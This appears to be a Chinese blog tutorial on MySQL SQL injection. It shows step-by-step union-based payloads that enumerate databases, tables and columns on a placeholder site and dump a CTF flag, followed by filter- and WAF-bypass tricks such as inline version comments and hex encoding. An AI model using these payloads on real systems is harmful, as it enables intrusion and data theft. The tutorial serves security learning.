针对MySQL的sql注入

常用:
//order by和union select后接的数字个数如果和当前表的列数不同会报错。故可通过以下语句对列数进行判定。

http://xxx.com/index.php?id=1 order by 3

执行结果

//判断哪一列的数据可回显,一般用在有回显的情况,但大部分情况都是需要报错注入或者时间盲注的。union前面用id=-1(不存在的值)可以把多余的东西去掉。

http://xxx.com/index.php?id=-1 union select 1,2,3

//在可回显的那一列用database()回显数据库名,也可以通过user()回显用户

http://xxx.com/index.php?id=-1 union select 1,database(),3

//回显,库名
sqli

//MySQL默认存在information_schema数据库,通过该数据库回显表名,列名

http://xxx.com/index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli'

//回显,表名
info

//注入info表的列名

http://xxx.com/index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='info'

//列名
id,title,flAg_T5ZNdrm

//注入sqli.info

http://xxx.com/index.php?id=-1 union select 1,group_concat(id,title,flAg_T5ZNdrm),3 from sqli.info

//内容(flag打码)
1flag{在数据库中}flag{xxxxxxxxxxxxxxxxxxxxxxxx},2testtest

tricks:
1.&代替and,&&代替and,网页中涉及url编码用%26%26。
2.-1=-1代替1=1,True代替1=1,False代替1=2。
3.尝试 <> /**/ 等符号绕过防御函数,代替空格。
4.0xhex 在MySQL中会被转义为string型。

select * from test where id=0x7573657233;

在这里插入图片描述
5.mysql CHAR()+if(expr,1,0)

select * from test where id=CHAR(117, 115, 101, 114, 51+if(length(user/**/())=14,0,1));

在这里插入图片描述
6.如果当前数据库版本高于/*!10044*/,则跟在后面的sql语句也会被执行。
/*!10044*/绕过union select:

/*!10044union*/ /*!10044select 1,2,3*/+
union /*!10044select 1,2,3*/+ 

%23QQQ%0Aunion%23QQQQ%0A绕过union select、database():

%23QQQ%0Aunion%23QQQQ%0Aselect 1,2,3+ 
%23QQQ%0Aunion%23QQQQ%0Aselect1,database/*!()*/,3+

/*!60000ghtwf01*/绕过order by、union select:

order/*!60000ghtwf01*/by
union/*!60000ghtwf01*/select

查询数据库名:

id=0' union/*!60000ghtwf01*//*!00000select*/ 1,2,schema_name from information_schema.schemata limit 0,1--+

查表名:

id=0' union/*!60000ghtwf01*//*!00000select*/ 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1--+

查询列名:

id=0' union/*!60000ghtwf01*//*!00000select*/ 1,2,username from users limit 0,1--+
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值